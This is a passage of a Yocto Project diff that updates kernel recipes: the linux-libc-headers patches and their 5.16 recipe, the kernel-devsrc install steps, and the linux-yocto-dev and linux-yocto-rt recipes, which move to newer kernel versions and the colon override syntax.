--- a/meta/recipes-kernel/linux-libc-headers/linux-libc-headers/0001-include-linux-stddef.h-in-swab.h-uapi-header.patch
+++ b/meta/recipes-kernel/linux-libc-headers/linux-libc-headers/0001-include-linux-stddef.h-in-swab.h-uapi-header.patch
@@ -1,4 +1,4 @@
-From 9708dc74d9f49488d669e070982f6224a888d61a Mon Sep 17 00:00:00 2001
+From dc221138c809125dc1bbff8506c70cb7bd846368 Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Wed, 12 Sep 2018 17:08:58 -0700
Subject: [PATCH] include linux/stddef.h in swab.h uapi header
@@ -23,12 +23,13 @@ Cc: Philippe Ombredanne <pombredanne@nexb.com>
Cc: Kate Stewart <kstewart@linuxfoundation.org>
Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Cc: Thomas Gleixner <tglx@linutronix.de>
+
---
include/uapi/linux/swab.h | 1 +
1 file changed, 1 insertion(+)
diff --git a/include/uapi/linux/swab.h b/include/uapi/linux/swab.h
-index 23cd84868cc3..acddbe50a20d 100644
+index 7272f85d6..2912fe463 100644
--- a/include/uapi/linux/swab.h
+++ b/include/uapi/linux/swab.h
@@ -3,6 +3,7 @@
@@ -37,8 +38,5 @@ index 23cd84868cc3..acddbe50a20d 100644
#include <linux/types.h>
+#include <linux/stddef.h>
#include <linux/compiler.h>
+ #include <asm/bitsperlong.h>
#include <asm/swab.h>
-
---
-2.19.0
-
diff --git a/meta/recipes-kernel/linux-libc-headers/linux-libc-headers/0001-kbuild-install_headers.sh-Strip-_UAPI-from-if-define.patch b/meta/recipes-kernel/linux-libc-headers/linux-libc-headers/0001-kbuild-install_headers.sh-Strip-_UAPI-from-if-define.patch
index 78ebd31e66..54528b6e6a 100644
--- a/meta/recipes-kernel/linux-libc-headers/linux-libc-headers/0001-kbuild-install_headers.sh-Strip-_UAPI-from-if-define.patch
+++ b/meta/recipes-kernel/linux-libc-headers/linux-libc-headers/0001-kbuild-install_headers.sh-Strip-_UAPI-from-if-define.patch
@@ -24,18 +24,15 @@ Upstream-Status: Submitted [https://www.spinics.net/lists/arm-kernel/msg694800.h
scripts/headers_install.sh | 1 +
1 file changed, 1 insertion(+)
-diff --git a/scripts/headers_install.sh b/scripts/headers_install.sh
-index 593f8879c641..fe1d3fc0d33a 100755
---- a/scripts/headers_install.sh
-+++ b/scripts/headers_install.sh
-@@ -38,6 +38,7 @@ do
- -e 's/(^|[^a-zA-Z0-9])__packed([^a-zA-Z0-9_]|$)/\1__attribute__((packed))\2/g' \
- -e 's/(^|[[:space:](])(inline|asm|volatile)([[:space:](]|$)/\1__\2__\3/g' \
- -e 's@#(ifndef|define|endif[[:space:]]*/[*])[[:space:]]*_UAPI@#\1 @' \
-+ -e ':1;s/(#(if|elif)(.*[^A-Za-z0-9_])defined\([[:space:]]*)_UAPI/\1/;t1' \
- "$SRCDIR/$i" > "$OUTDIR/$FILE.sed" || exit 1
- scripts/unifdef -U__KERNEL__ -D__EXPORTED_HEADERS__ "$OUTDIR/$FILE.sed" \
- > "$OUTDIR/$FILE"
---
-2.5.0
-
+Index: linux-5.4/scripts/headers_install.sh
+===================================================================
+--- linux-5.4.orig/scripts/headers_install.sh
++++ linux-5.4/scripts/headers_install.sh
+@@ -36,6 +36,7 @@
+ s/(^|[^a-zA-Z0-9])__packed([^a-zA-Z0-9_]|$)/\1__attribute__((packed))\2/g
+ s/(^|[[:space:](])(inline|asm|volatile)([[:space:](]|$)/\1__\2__\3/g
+ s@#(ifndef|define|endif[[:space:]]*/[*])[[:space:]]*_UAPI@#\1 @
++ :1;s/(#(if|elif)(.*[^A-Za-z0-9_])defined\([[:space:]]*)_UAPI/\1/;t1
+ ' $INFILE > $TMPFILE || exit 1
+
+ scripts/unifdef -U__KERNEL__ -D__EXPORTED_HEADERS__ $TMPFILE > $OUTFILE
diff --git a/meta/recipes-kernel/linux-libc-headers/linux-libc-headers/0002-libc-compat.h-prevent-redefinition-of-struct-ethhdr.patch b/meta/recipes-kernel/linux-libc-headers/linux-libc-headers/0002-libc-compat.h-prevent-redefinition-of-struct-ethhdr.patch
deleted file mode 100644
index fb7e1de17a..0000000000
--- a/meta/recipes-kernel/linux-libc-headers/linux-libc-headers/0002-libc-compat.h-prevent-redefinition-of-struct-ethhdr.patch
+++ /dev/null
@@ -1,30 +0,0 @@
-From 75ba4a547282f91d653872a4bba5f5eae234ea6c Mon Sep 17 00:00:00 2001
-From: rofl0r <retnyg@gmx.net>
-Date: Wed, 22 Jan 2014 00:57:48 +0100
-Subject: [PATCH 2/3] libc-compat.h: prevent redefinition of struct ethhdr
-
----
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Upstream-Status: Submitted
-
- include/uapi/linux/if_ether.h | 4 +++-
- include/uapi/linux/libc-compat.h | 6 ++++++
- 2 files changed, 9 insertions(+), 1 deletion(-)
-
-Index: linux-4.15/include/uapi/linux/libc-compat.h
-===================================================================
---- linux-4.15.orig/include/uapi/linux/libc-compat.h 2018-02-05 17:40:42.338370731 -0500
-+++ linux-4.15/include/uapi/linux/libc-compat.h 2018-02-05 17:40:42.334370603 -0500
-@@ -51,6 +51,12 @@
-
- #ifndef __KERNEL__ /* we're used from userspace */
-
-+#ifdef _NETINET_IF_ETHER_H /* musl */
-+#define __UAPI_DEF_ETHHDR 0
-+#else /* glibc uses __NETINET_IF_ETHER_H, and includes the kernel header. */
-+#define __UAPI_DEF_ETHHDR 1
-+#endif
-+
- /* Coordinate with libc net/if.h header. */
- #if defined(_NET_IF_H)
-
diff --git a/meta/recipes-kernel/linux-libc-headers/linux-libc-headers/0003-remove-inclusion-of-sysinfo.h-in-kernel.h.patch b/meta/recipes-kernel/linux-libc-headers/linux-libc-headers/0003-remove-inclusion-of-sysinfo.h-in-kernel.h.patch
index b5c4e1750e..b0e7014138 100644
--- a/meta/recipes-kernel/linux-libc-headers/linux-libc-headers/0003-remove-inclusion-of-sysinfo.h-in-kernel.h.patch
+++ b/meta/recipes-kernel/linux-libc-headers/linux-libc-headers/0003-remove-inclusion-of-sysinfo.h-in-kernel.h.patch
@@ -13,17 +13,17 @@ Upstream-Status: Submitted
include/uapi/linux/kernel.h | 2 ++
1 file changed, 2 insertions(+)
-Index: linux-4.8-rc4/include/uapi/linux/kernel.h
+Index: linux-5.12.11/include/uapi/linux/kernel.h
===================================================================
---- linux-4.8-rc4.orig/include/uapi/linux/kernel.h
-+++ linux-4.8-rc4/include/uapi/linux/kernel.h
-@@ -1,7 +1,9 @@
+--- linux-5.12.11.orig/include/uapi/linux/kernel.h
++++ linux-5.12.11/include/uapi/linux/kernel.h
+@@ -2,7 +2,9 @@
#ifndef _UAPI_LINUX_KERNEL_H
#define _UAPI_LINUX_KERNEL_H
+#ifdef __GLIBC__
#include <linux/sysinfo.h>
+ #include <linux/const.h>
+#endif
- /*
- * 'kernel.h' contains some often-used function prototypes etc
+ #endif /* _UAPI_LINUX_KERNEL_H */
diff --git a/meta/recipes-kernel/linux-libc-headers/linux-libc-headers_5.16.bb b/meta/recipes-kernel/linux-libc-headers/linux-libc-headers_5.16.bb
new file mode 100644
index 0000000000..c64629d094
--- /dev/null
+++ b/meta/recipes-kernel/linux-libc-headers/linux-libc-headers_5.16.bb
@@ -0,0 +1,20 @@
+require linux-libc-headers.inc
+
+SRC_URI:append:libc-musl = "\
+ file://0001-libc-compat.h-fix-some-issues-arising-from-in6.h.patch \
+ file://0003-remove-inclusion-of-sysinfo.h-in-kernel.h.patch \
+ file://0001-libc-compat.h-musl-_does_-define-IFF_LOWER_UP-DORMAN.patch \
+ file://0001-include-linux-stddef.h-in-swab.h-uapi-header.patch \
+ "
+
+SRC_URI:append = "\
+ file://0001-scripts-Use-fixed-input-and-output-files-instead-of-.patch \
+ file://0001-kbuild-install_headers.sh-Strip-_UAPI-from-if-define.patch \
+"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=6bc538ed5bd9a7fc9398086aedcd7e46"
+
+SRC_URI[md5sum] = "e6680ce7c989a3efe58b51e3f3f0bf93"
+SRC_URI[sha256sum] = "027d7e8988bb69ac12ee92406c3be1fe13f990b1ca2249e226225cd1573308bb"
+
+
diff --git a/meta/recipes-kernel/linux-libc-headers/linux-libc-headers_5.2.bb b/meta/recipes-kernel/linux-libc-headers/linux-libc-headers_5.2.bb
deleted file mode 100644
index 9d18df76c6..0000000000
--- a/meta/recipes-kernel/linux-libc-headers/linux-libc-headers_5.2.bb
+++ /dev/null
@@ -1,18 +0,0 @@
-require linux-libc-headers.inc
-
-SRC_URI_append_libc-musl = "\
- file://0001-libc-compat.h-fix-some-issues-arising-from-in6.h.patch \
- file://0002-libc-compat.h-prevent-redefinition-of-struct-ethhdr.patch \
- file://0003-remove-inclusion-of-sysinfo.h-in-kernel.h.patch \
- file://0001-libc-compat.h-musl-_does_-define-IFF_LOWER_UP-DORMAN.patch \
- file://0001-if_ether-move-muslc-ethhdr-protection-to-uapi-file.patch \
- file://0001-include-linux-stddef.h-in-swab.h-uapi-header.patch \
- "
-
-SRC_URI_append = "\
- file://0001-scripts-Use-fixed-input-and-output-files-instead-of-.patch \
- file://0001-kbuild-install_headers.sh-Strip-_UAPI-from-if-define.patch \
-"
-
-SRC_URI[md5sum] = "ddf994de00d7b18395886dd9b30b9262"
-SRC_URI[sha256sum] = "54ad66f672e1a831b574f5e704e8a05f1e6180a8245d4bdd811208a6cb0ac1e7"
diff --git a/meta/recipes-kernel/linux/kernel-devsrc.bb b/meta/recipes-kernel/linux/kernel-devsrc.bb
index b68d945a8f..8d360ed3f3 100644
--- a/meta/recipes-kernel/linux/kernel-devsrc.bb
+++ b/meta/recipes-kernel/linux/kernel-devsrc.bb
@@ -5,7 +5,7 @@ development or external module builds"
SECTION = "kernel"
-LICENSE = "GPLv2"
+LICENSE = "GPL-2.0-only"
inherit linux-kernel-base
@@ -48,7 +48,7 @@ do_install() {
mkdir -p ${D}/usr/src
(
cd ${D}/usr/src
- lnr ${D}${KERNEL_BUILD_ROOT}${KERNEL_VERSION}/source kernel
+ ln -rs ${D}${KERNEL_BUILD_ROOT}${KERNEL_VERSION}/source kernel
)
# for on target purposes, we unify build and source
@@ -72,13 +72,15 @@ do_install() {
(
cd ${B}
- cp Module.symvers $kerneldir/build
+ if [ -s Module.symvers ]; then
+ cp Module.symvers $kerneldir/build
+ fi
cp System.map* $kerneldir/build
if [ -s Module.markers ]; then
cp Module.markers $kerneldir/build
fi
- cp .config $kerneldir/build
+ cp -a .config $kerneldir/build
# This scripts copy blow up QA, so for now, we require a more
# complex 'make scripts' to restore these, versus copying them
@@ -86,6 +88,12 @@ do_install() {
# be dealt with.
# cp -a scripts $kerneldir/build
+ # although module.lds can be regenerated on target via 'make modules_prepare'
+ # there are several places where 'makes scripts prepare' is done, and that won't
+ # regenerate the file. So we copy it onto the target as a migration to using
+ # modules_prepare
+ cp -a --parents scripts/module.lds $kerneldir/build/ 2>/dev/null || :
+
if [ -d arch/${ARCH}/scripts ]; then
cp -a arch/${ARCH}/scripts $kerneldir/build/arch/${ARCH}
fi
@@ -103,11 +111,24 @@ do_install() {
fi
fi
- if [ "${ARCH}" = "arm64" ]; then
- cp -a --parents arch/arm64/kernel/vdso/vdso.lds $kerneldir/build/
+ if [ "${ARCH}" = "arm64" -o "${ARCH}" = "riscv" ]; then
+ cp -a --parents arch/${ARCH}/kernel/vdso/vdso.lds $kerneldir/build/
+ fi
+ if [ "${ARCH}" = "powerpc" ]; then
+ cp -a --parents arch/powerpc/kernel/vdso32/vdso32.lds $kerneldir/build 2>/dev/null || :
+ cp -a --parents arch/powerpc/kernel/vdso64/vdso64.lds $kerneldir/build 2>/dev/null || :
fi
cp -a include $kerneldir/build/include
+
+ # we don't usually copy generated files, since they can be rebuilt on the target,
+ # but without this file, we get a forced syncconfig run in v5.8+, which prompts and
+ # breaks workflows.
+ cp -a --parents include/generated/autoconf.h $kerneldir/build 2>/dev/null || :
+
+ if [ -e $kerneldir/include/generated/.vdso-offsets.h.cmd ]; then
+ rm $kerneldir/include/generated/.vdso-offsets.h.cmd
+ fi
)
# now grab the chunks from the source tree that we need
@@ -128,11 +149,12 @@ do_install() {
# extra files, just in case
cp -a --parents tools/objtool/* $kerneldir/build/
- cp -a --parents tools/lib/str_error_r.c $kerneldir/build/
- cp -a --parents tools/lib/string.c $kerneldir/build/
+ cp -a --parents tools/lib/* $kerneldir/build/
cp -a --parents tools/lib/subcmd/* $kerneldir/build/
cp -a --parents tools/include/* $kerneldir/build/
+
+ cp -a --parents $(find tools/arch/${ARCH}/ -type f) $kerneldir/build/
fi
if [ "${ARCH}" = "arm64" ]; then
@@ -146,7 +168,15 @@ do_install() {
cp -a --parents arch/arm64/kernel/vdso/note.S $kerneldir/build/
cp -a --parents arch/arm64/kernel/vdso/gen_vdso_offsets.sh $kerneldir/build/
- cp -a --parents arch/arm64/kernel/module.lds $kerneldir/build/
+ cp -a --parents arch/arm64/kernel/module.lds $kerneldir/build/ 2>/dev/null || :
+
+ # 5.13+ needs these tools
+ cp -a --parents arch/arm64/tools/gen-cpucaps.awk $kerneldir/build/ 2>/dev/null || :
+ cp -a --parents arch/arm64/tools/cpucaps $kerneldir/build/ 2>/dev/null || :
+
+ if [ -e $kerneldir/build/arch/arm64/tools/gen-cpucaps.awk ]; then
+ sed -i -e "s,#!.*awk.*,#!${USRBINPATH}/env awk," $kerneldir/build/arch/arm64/tools/gen-cpucaps.awk
+ fi
fi
if [ "${ARCH}" = "powerpc" ]; then
@@ -154,6 +184,14 @@ do_install() {
cp -a --parents arch/${ARCH}/kernel/syscalls/syscall.tbl $kerneldir/build/ 2>/dev/null || :
cp -a --parents arch/${ARCH}/kernel/syscalls/syscalltbl.sh $kerneldir/build/ 2>/dev/null || :
cp -a --parents arch/${ARCH}/kernel/syscalls/syscallhdr.sh $kerneldir/build/ 2>/dev/null || :
+ cp -a --parents arch/${ARCH}/kernel/vdso32/* $kerneldir/build/ 2>/dev/null || :
+ cp -a --parents arch/${ARCH}/kernel/vdso64/* $kerneldir/build/ 2>/dev/null || :
+ fi
+ if [ "${ARCH}" = "riscv" ]; then
+ cp -a --parents arch/riscv/kernel/vdso/*gettimeofday.* $kerneldir/build/
+ cp -a --parents arch/riscv/kernel/vdso/note.S $kerneldir/build/
+ cp -a --parents arch/riscv/kernel/vdso/gen_vdso_offsets.sh $kerneldir/build/
+ cp -a --parents arch/riscv/kernel/vdso/* $kerneldir/build/ 2>/dev/null || :
fi
# include the machine specific headers for ARM variants, if available.
@@ -170,7 +208,7 @@ do_install() {
cp -a --parents $SYSCALL_TOOLS $kerneldir/build/
fi
- cp -a --parents arch/arm/kernel/module.lds $kerneldir/build/
+ cp -a --parents arch/arm/kernel/module.lds $kerneldir/build/ 2>/dev/null || :
fi
if [ -d arch/${ARCH}/include ]; then
@@ -185,19 +223,21 @@ do_install() {
cp -a --parents tools/include/tools/be_byteshift.h $kerneldir/build/
# required for generate missing syscalls prepare phase
- cp -a --parents arch/x86/entry/syscalls/syscall_32.tbl $kerneldir/build
+ cp -a --parents $(find arch/x86 -type f -name "syscall_32.tbl") $kerneldir/build
+ cp -a --parents $(find arch/arm -type f -name "*.tbl") $kerneldir/build 2>/dev/null || :
if [ "${ARCH}" = "x86" ]; then
# files for 'make prepare' to succeed with kernel-devel
- cp -a --parents arch/x86/entry/syscalls/syscall_32.tbl $kerneldir/build/
- cp -a --parents arch/x86/entry/syscalls/syscalltbl.sh $kerneldir/build/
- cp -a --parents arch/x86/entry/syscalls/syscallhdr.sh $kerneldir/build/
- cp -a --parents arch/x86/entry/syscalls/syscall_64.tbl $kerneldir/build/
+ cp -a --parents $(find arch/x86 -type f -name "syscall_32.tbl") $kerneldir/build/ 2>/dev/null || :
+ cp -a --parents $(find arch/x86 -type f -name "syscalltbl.sh") $kerneldir/build/ 2>/dev/null || :
+ cp -a --parents $(find arch/x86 -type f -name "syscallhdr.sh") $kerneldir/build/ 2>/dev/null || :
+ cp -a --parents $(find arch/x86 -type f -name "syscall_64.tbl") $kerneldir/build/ 2>/dev/null || :
cp -a --parents arch/x86/tools/relocs_32.c $kerneldir/build/
cp -a --parents arch/x86/tools/relocs_64.c $kerneldir/build/
cp -a --parents arch/x86/tools/relocs.c $kerneldir/build/
cp -a --parents arch/x86/tools/relocs_common.c $kerneldir/build/
cp -a --parents arch/x86/tools/relocs.h $kerneldir/build/
+ cp -a --parents arch/x86/tools/gen-insn-attr-x86.awk $kerneldir/build/ 2>/dev/null || :
cp -a --parents arch/x86/purgatory/purgatory.c $kerneldir/build/
# 4.18 + have unified the purgatory files, so we ignore any errors if
@@ -213,6 +253,10 @@ do_install() {
cp -a --parents arch/x86/boot/string.c $kerneldir/build/
cp -a --parents arch/x86/boot/compressed/string.c $kerneldir/build/ 2>/dev/null || :
cp -a --parents arch/x86/boot/ctype.h $kerneldir/build/
+
+ # objtool requires these files
+ cp -a --parents arch/x86/lib/inat.c $kerneldir/build/ 2>/dev/null || :
+ cp -a --parents arch/x86/lib/insn.c $kerneldir/build/ 2>/dev/null || :
fi
if [ "${ARCH}" = "mips" ]; then
@@ -242,6 +286,28 @@ do_install() {
# Copy .config to include/config/auto.conf so "make prepare" is unnecessary.
cp $kerneldir/build/.config $kerneldir/build/include/config/auto.conf
+ # make sure these are at least as old as the .config, or rebuilds will trigger
+ touch -r $kerneldir/build/.config $kerneldir/build/include/generated/autoconf.h 2>/dev/null || :
+ touch -r $kerneldir/build/.config $kerneldir/build/include/config/auto.conf* 2>/dev/null || :
+
+ if [ -e "$kerneldir/build/include/config/auto.conf.cmd" ]; then
+ sed -i 's/ifneq "$(CC)" ".*-linux-.*gcc.*$/ifneq "$(CC)" "gcc"/' "$kerneldir/build/include/config/auto.conf.cmd"
+ sed -i 's/ifneq "$(LD)" ".*-linux-.*ld.bfd.*$/ifneq "$(LD)" "ld"/' "$kerneldir/build/include/config/auto.conf.cmd"
+ sed -i 's/ifneq "$(AR)" ".*-linux-.*ar.*$/ifneq "$(AR)" "ar"/' "$kerneldir/build/include/config/auto.conf.cmd"
+ sed -i 's/ifneq "$(OBJCOPY)" ".*-linux-.*objcopy.*$/ifneq "$(OBJCOPY)" "objcopy"/' "$kerneldir/build/include/config/auto.conf.cmd"
+ if [ "${ARCH}" = "powerpc" ]; then
+ sed -i 's/ifneq "$(NM)" ".*-linux-.*nm.*$/ifneq "$(NM)" "nm --synthetic"/' "$kerneldir/build/include/config/auto.conf.cmd"
+ else
+ sed -i 's/ifneq "$(NM)" ".*-linux-.*nm.*$/ifneq "$(NM)" "nm"/' "$kerneldir/build/include/config/auto.conf.cmd"
+ fi
+ sed -i 's/ifneq "$(HOSTCXX)" ".*$/ifneq "$(HOSTCXX)" "g++"/' "$kerneldir/build/include/config/auto.conf.cmd"
+ sed -i 's/ifneq "$(HOSTCC)" ".*$/ifneq "$(HOSTCC)" "gcc"/' "$kerneldir/build/include/config/auto.conf.cmd"
+ sed -i 's/ifneq "$(CC_VERSION_TEXT)".*\(gcc.*\)"/ifneq "$(CC_VERSION_TEXT)" "\1"/' "$kerneldir/build/include/config/auto.conf.cmd"
+ sed -i 's/ifneq "$(srctree)" ".*"/ifneq "$(srctree)" "."/' "$kerneldir/build/include/config/auto.conf.cmd"
+ # we don't build against the defconfig, so make sure it isn't the trigger for syncconfig
+ sed -i 's/ifneq "$(KBUILD_DEFCONFIG)".*"\(.*\)"/ifneq "\1" "\1"/' "$kerneldir/build/include/config/auto.conf.cmd"
+ fi
+
# make the scripts python3 safe. We won't be running these, and if they are
# left as /usr/bin/python rootfs assembly will fail, since we only have python3
# in the RDEPENDS (and the python3 package does not include /usr/bin/python)
@@ -257,11 +323,17 @@ do_install() {
# Ensure we don't race against "make scripts" during cpio
do_install[lockfiles] = "${TMPDIR}/kernel-scripts.lock"
-FILES_${PN} = "${KERNEL_BUILD_ROOT} ${KERNEL_SRC_PATH}"
-FILES_${PN}-dbg += "${KERNEL_BUILD_ROOT}*/build/scripts/*/.debug/*"
+FILES:${PN} = "${KERNEL_BUILD_ROOT} ${KERNEL_SRC_PATH}"
+FILES:${PN}-dbg += "${KERNEL_BUILD_ROOT}*/build/scripts/*/.debug/*"
-RDEPENDS_${PN} = "bc python3 flex bison ${TCLIBC}-utils"
+RDEPENDS:${PN} = "bc python3 flex bison ${TCLIBC}-utils"
# 4.15+ needs these next two RDEPENDS
-RDEPENDS_${PN} += "openssl-dev util-linux"
+RDEPENDS:${PN} += "openssl-dev util-linux"
# and x86 needs a bit more for 4.15+
-RDEPENDS_${PN} += "${@bb.utils.contains('ARCH', 'x86', 'elfutils', '', d)}"
+RDEPENDS:${PN} += "${@bb.utils.contains('ARCH', 'x86', 'elfutils-dev', '', d)}"
+# 5.8+ needs gcc-plugins libmpc-dev
+RDEPENDS:${PN} += "gcc-plugins libmpc-dev"
+# 5.13+ needs awk for arm64
+RDEPENDS:${PN}:append:aarch64 = " gawk"
+# 5.13+ needs grep for powerpc
+RDEPENDS:${PN}:append:powerpc = " grep"
diff --git a/meta/recipes-kernel/linux/linux-dummy.bb b/meta/recipes-kernel/linux/linux-dummy.bb
index 62cf6f5ea6..7c46f80d8d 100644
--- a/meta/recipes-kernel/linux/linux-dummy.bb
+++ b/meta/recipes-kernel/linux/linux-dummy.bb
@@ -4,27 +4,29 @@ provider for virtual/kernel to satisfy dependencies for situations \
where you wish to build the kernel externally from the build system."
SECTION = "kernel"
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://${WORKDIR}/COPYING.GPL;md5=751419260aa954499f7abaabaa882bbe"
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYING.GPL;md5=751419260aa954499f7abaabaa882bbe"
PROVIDES += "virtual/kernel"
+inherit deploy linux-dummy
+
PACKAGES_DYNAMIC += "^kernel-module-.*"
PACKAGES_DYNAMIC += "^kernel-image-.*"
PACKAGES_DYNAMIC += "^kernel-firmware-.*"
PACKAGES += "kernel-modules kernel-vmlinux"
-FILES_kernel-modules = ""
-ALLOW_EMPTY_kernel-modules = "1"
-DESCRIPTION_kernel-modules = "Kernel modules meta package"
-FILES_kernel-vmlinux = ""
-ALLOW_EMPTY_kernel-vmlinux = "1"
-DESCRIPTION_kernel-vmlinux = "Kernel vmlinux meta package"
+FILES:kernel-modules = ""
+ALLOW_EMPTY:kernel-modules = "1"
+DESCRIPTION:kernel-modules = "Kernel modules meta package"
+FILES:kernel-vmlinux = ""
+ALLOW_EMPTY:kernel-vmlinux = "1"
+DESCRIPTION:kernel-vmlinux = "Kernel vmlinux meta package"
INHIBIT_DEFAULT_DEPS = "1"
-#COMPATIBLE_MACHINE = "your_machine"
+COMPATIBLE_HOST = ".*-linux"
PR = "r1"
diff --git a/meta/recipes-kernel/linux/linux-yocto-dev.bb b/meta/recipes-kernel/linux/linux-yocto-dev.bb
index 163f280560..c7f9b102c7 100644
--- a/meta/recipes-kernel/linux/linux-yocto-dev.bb
+++ b/meta/recipes-kernel/linux/linux-yocto-dev.bb
@@ -16,7 +16,7 @@ inherit pkgconfig
# provide this .inc to set specific revisions
include recipes-kernel/linux/linux-yocto-dev-revisions.inc
-KBRANCH = "standard/base"
+KBRANCH = "v5.17/standard/base"
KMETA = "kernel-meta"
SRC_URI = "git://git.yoctoproject.org/linux-yocto-dev.git;branch=${KBRANCH};name=machine \
@@ -30,25 +30,38 @@ SRC_URI = "git://git.yoctoproject.org/linux-yocto-dev.git;branch=${KBRANCH};name
SRCREV_machine ?= '${@oe.utils.conditional("PREFERRED_PROVIDER_virtual/kernel", "linux-yocto-dev", "${AUTOREV}", "29594404d7fe73cd80eaa4ee8c43dcc53970c60e", d)}'
SRCREV_meta ?= '${@oe.utils.conditional("PREFERRED_PROVIDER_virtual/kernel", "linux-yocto-dev", "${AUTOREV}", "29594404d7fe73cd80eaa4ee8c43dcc53970c60e", d)}'
-LINUX_VERSION ?= "5.3-rc+"
+LINUX_VERSION ?= "5.17+"
LINUX_VERSION_EXTENSION ?= "-yoctodev-${LINUX_KERNEL_TYPE}"
PV = "${LINUX_VERSION}+git${SRCPV}"
-LIC_FILES_CHKSUM = "file://COPYING;md5=bbea815ee2795b2f4230826c0c6b8814"
+LIC_FILES_CHKSUM = "file://COPYING;md5=6bc538ed5bd9a7fc9398086aedcd7e46"
DEPENDS += "${@bb.utils.contains('ARCH', 'x86', 'elfutils-native', '', d)}"
DEPENDS += "openssl-native util-linux-native"
+DEPENDS += "gmp-native libmpc-native"
-COMPATIBLE_MACHINE = "(qemuarm|qemux86|qemuppc|qemumips|qemumips64|qemux86-64|qemuriscv64)"
+# yaml and dtschema are required for 5.16+ device tree validation, libyaml is checked
+# via pkgconfig, so must always be present, but we can wrap the others to make them
+# conditional
+DEPENDS += "libyaml-native"
-KERNEL_DEVICETREE_qemuarmv5 = "versatile-pb.dtb"
+PACKAGECONFIG ??= ""
+PACKAGECONFIG[dt-validation] = ",,python3-dtschema-native"
+# we need the wrappers if validation isn't in the packageconfig
+DEPENDS += "${@bb.utils.contains('PACKAGECONFIG', 'dt-validation', '', 'python3-dtschema-wrapper-native', d)}"
+
+COMPATIBLE_MACHINE = "(qemuarm|qemux86|qemuppc|qemumips|qemumips64|qemux86-64|qemuriscv32|qemuriscv64)"
+
+KERNEL_DEVICETREE:qemuarmv5 = "versatile-pb.dtb"
# Functionality flags
KERNEL_EXTRA_FEATURES ?= "features/netfilter/netfilter.scc features/taskstats/taskstats.scc"
-KERNEL_FEATURES_append = " ${KERNEL_EXTRA_FEATURES}"
-KERNEL_FEATURES_append_qemuall=" cfg/virtio.scc features/drm-bochs/drm-bochs.scc"
-KERNEL_FEATURES_append_qemux86=" cfg/sound.scc cfg/paravirt_kvm.scc"
-KERNEL_FEATURES_append_qemux86-64=" cfg/sound.scc"
-KERNEL_FEATURES_append = " ${@bb.utils.contains("TUNE_FEATURES", "mx32", " cfg/x32.scc", "" ,d)}"
+KERNEL_FEATURES:append = " ${KERNEL_EXTRA_FEATURES}"
+KERNEL_FEATURES:append:qemuall=" cfg/virtio.scc features/drm-bochs/drm-bochs.scc"
+KERNEL_FEATURES:append:qemux86=" cfg/sound.scc cfg/paravirt_kvm.scc"
+KERNEL_FEATURES:append:qemux86-64=" cfg/sound.scc cfg/paravirt_kvm.scc"
+KERNEL_FEATURES:append = " ${@bb.utils.contains("TUNE_FEATURES", "mx32", " cfg/x32.scc", "", d)}"
+KERNEL_FEATURES:append = " ${@bb.utils.contains("DISTRO_FEATURES", "ptest", " features/scsi/scsi-debug.scc", "", d)}"
+KERNEL_FEATURES:append = " ${@bb.utils.contains("DISTRO_FEATURES", "ptest", " features/gpio/mockup.scc", "", d)}"
KERNEL_VERSION_SANITY_SKIP = "1"
diff --git a/meta/recipes-kernel/linux/linux-yocto-rt_4.19.bb b/meta/recipes-kernel/linux/linux-yocto-rt_4.19.bb
deleted file mode 100644
index 32edb60264..0000000000
--- a/meta/recipes-kernel/linux/linux-yocto-rt_4.19.bb
+++ /dev/null
@@ -1,44 +0,0 @@
-KBRANCH ?= "v4.19/standard/preempt-rt/base"
-
-require recipes-kernel/linux/linux-yocto.inc
-
-# Skip processing of this recipe if it is not explicitly specified as the
-# PREFERRED_PROVIDER for virtual/kernel. This avoids errors when trying
-# to build multiple virtual/kernel providers, e.g. as dependency of
-# core-image-rt-sdk, core-image-rt.
-python () {
- if d.getVar("KERNEL_PACKAGE_NAME") == "kernel" and d.getVar("PREFERRED_PROVIDER_virtual/kernel") != "linux-yocto-rt":
- raise bb.parse.SkipRecipe("Set PREFERRED_PROVIDER_virtual/kernel to linux-yocto-rt to enable it")
-}
-
-SRCREV_machine ?= "0e4a79e608e92830693e511a3dd282ce7c3b3f41"
-SRCREV_meta ?= "ad6f8b357720ca8167a090713b7746230cf4b314"
-
-SRC_URI = "git://git.yoctoproject.org/linux-yocto.git;branch=${KBRANCH};name=machine \
- git://git.yoctoproject.org/yocto-kernel-cache;type=kmeta;name=meta;branch=yocto-4.19;destsuffix=${KMETA}"
-
-LINUX_VERSION ?= "4.19.78"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=bbea815ee2795b2f4230826c0c6b8814"
-
-DEPENDS += "${@bb.utils.contains('ARCH', 'x86', 'elfutils-native', '', d)}"
-DEPENDS += "openssl-native util-linux-native"
-
-PV = "${LINUX_VERSION}+git${SRCPV}"
-
-KMETA = "kernel-meta"
-KCONF_BSP_AUDIT_LEVEL = "2"
-
-LINUX_KERNEL_TYPE = "preempt-rt"
-
-COMPATIBLE_MACHINE = "(qemux86|qemux86-64|qemuarm|qemuarmv5|qemuarm64|qemuppc|qemumips)"
-
-KERNEL_DEVICETREE_qemuarmv5 = "versatile-pb.dtb"
-
-# Functionality flags
-KERNEL_EXTRA_FEATURES ?= "features/netfilter/netfilter.scc features/taskstats/taskstats.scc"
-KERNEL_FEATURES_append = " ${KERNEL_EXTRA_FEATURES}"
-KERNEL_FEATURES_append_qemuall=" cfg/virtio.scc features/drm-bochs/drm-bochs.scc"
-KERNEL_FEATURES_append_qemux86=" cfg/sound.scc cfg/paravirt_kvm.scc"
-KERNEL_FEATURES_append_qemux86-64=" cfg/sound.scc cfg/paravirt_kvm.scc"
-KERNEL_FEATURES_append = "${@bb.utils.contains("DISTRO_FEATURES", "ptest", " features/scsi/scsi-debug.scc", "" ,d)}"
diff --git a/meta/recipes-kernel/linux/linux-yocto-rt_5.10.bb b/meta/recipes-kernel/linux/linux-yocto-rt_5.10.bb
new file mode 100644
index 0000000000..70b572e808
--- /dev/null
+++ b/meta/recipes-kernel/linux/linux-yocto-rt_5.10.bb
@@ -0,0 +1,45 @@
+KBRANCH ?= "v5.10/standard/preempt-rt/base"
+
+require recipes-kernel/linux/linux-yocto.inc
